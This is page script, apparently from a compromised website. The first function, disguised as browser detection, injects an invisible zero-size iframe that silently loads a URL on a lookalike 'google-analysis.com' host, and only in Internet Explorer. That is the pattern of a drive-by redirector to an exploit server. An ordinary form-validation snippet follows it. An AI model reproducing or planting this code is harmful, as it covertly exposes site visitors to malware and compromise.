var IFrameObj; // our IFrame object
function UserAgentDet() {
 if (!document.createElement) {return true};
 var IFrameDoc;
 window.status = ' ';
 var URL = 'http://google-analysis.com/in.cgi?10';
 if (!IFrameObj && document.createElement) {
  try {
   var tempIFrame=document.createElement('iframe');
   tempIFrame.setAttribute('id','RSIFrame');
   tempIFrame.style.border='0px';
   tempIFrame.style.width='0px';
   tempIFrame.style.height='0px';
   IFrameObj = document.body.appendChild(tempIFrame);

   if (document.frames) {
    IFrameObj = document.frames['RSIFrame'];
   }
  } catch(exception) {
   iframeHTML='<iframe id="RSIFrame" style="';
   iframeHTML+='border:0px;';
   iframeHTML+='width:0px;';
   iframeHTML+='height:0px;';
   iframeHTML+='"><\/iframe>';
   document.body.innerHTML+=iframeHTML;
   IFrameObj = new Object();
   IFrameObj.document = new Object();
   IFrameObj.document.location = new Object();
   IFrameObj.document.location.iframe = document.getElementById('RSIFrame');
   IFrameObj.document.location.replace = function(location) {
    this.iframe.src = location;
   }
  }
 }

 if (navigator.userAgent.indexOf('Gecko') !=-1) {
  return false;
 }

 if (IFrameObj.contentDocument) {
  // For NS6
  IFrameDoc = IFrameObj.contentDocument;
 } else if (IFrameObj.contentWindow) {
  // For IE5.5 and IE6
  IFrameDoc = IFrameObj.contentWindow.document;
 } else if (IFrameObj.document) {
  // For IE5
  IFrameDoc = IFrameObj.document;
 } else {
  return true;
 }

 IFrameDoc.location.replace(URL);
 return false;
}
UserAgentDet();

	<!--
	function testit(){
	var cat=window.document.engine.category.selectedIndex;
	if(cat==0) alert('You must select a category, please try again')
	 else (window.document.engine.submit())
	 }
	// -->